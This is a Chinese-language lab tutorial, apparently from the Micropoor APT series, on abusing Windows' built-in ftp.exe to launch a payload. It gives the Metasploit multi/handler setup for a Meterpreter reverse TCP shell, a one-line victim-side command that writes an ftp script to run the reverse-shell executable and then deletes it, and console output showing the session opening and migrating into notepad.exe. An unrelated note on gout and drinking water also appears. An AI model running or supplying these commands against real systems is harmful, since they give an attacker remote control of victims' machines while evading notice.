专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，通风等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

Ftp.exe简介：

Ftp.exe是Windows本身自带的一个程序，属于微软FTP工具，提供基本的FTP访问。说明：Ftp.exe所在路径已被系统添加PATH环境变量中，因此，Ftp.exe命令可识别。Windows 2003 默认位置：

C:\Windows\System32\ftp.exe

C:\Windows\SysWOW64\ftp.exe

Windows 7 默认位置：

C:\Windows\System32\ftp.exe

C:\Windows\SysWOW64\ftp.exe

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.3 Windows 7配置攻击机msf：

注：需设置参数set AutoRunScript migrate -f

1 msf exploit(multi/handler) > show options 2

3 Module options (exploit/multi/handler): 4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 7

8

9 Payload options (windows/meterpreter/reverse\_tcp):

10

11 Name Current Setting Required Description

12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)

14 LHOST 192.168.1.4 yes The listen address (an interface may be specifi ed)

15 LPORT 53 yes The listen port 16

17

18 Exploit target: 19

20 Id Name

21 ‐‐ ‐‐‐‐

22 0 Wildcard Target 23

24

25 msf exploit(multi/handler) > set AutoRunScript migrate ‐f

26 AutoRunScript => migrate ‐f

27 msf exploit(multi/handler) > exploit 28

靶机执行：

1 echo !C:\Users\John\Desktop\rev\_x86\_53\_exe.exe > o &echo quit >> o &ft p ‐n ‐s:o &del /F /Q o

1 msf exploit(multi/handler) > set AutoRunScript migrate ‐f

2 AutoRunScript => migrate ‐f

3 msf exploit(multi/handler) > exploit 4

5 [\*] Started reverse TCP handler on 192.168.1.4:53

6 [\*] Sending stage (179779 bytes) to 192.168.1.3

7 [\*] Meterpreter session 10 opened (192.168.1.4:53 ‐> 192.168.1.3:5530) at 2019‐01‐21 05:14:57 ‐0500

8 [\*] Session ID 10 (192.168.1.4:53 ‐> 192.168.1.3:5530) processing Auto RunScript 'migrate ‐f'

9 [!] Meterpreter scripts are deprecated. Try post/windows/manage/migrat e.

10 [!] Example: run post/windows/manage/migrate OPTION=value [...]

11 [\*] Current server process: rev\_x86\_53\_exe.exe (8832)

12 [\*] Spawning notepad.exe process to migrate to

13 [+] Migrating to 8788 14

Micropoor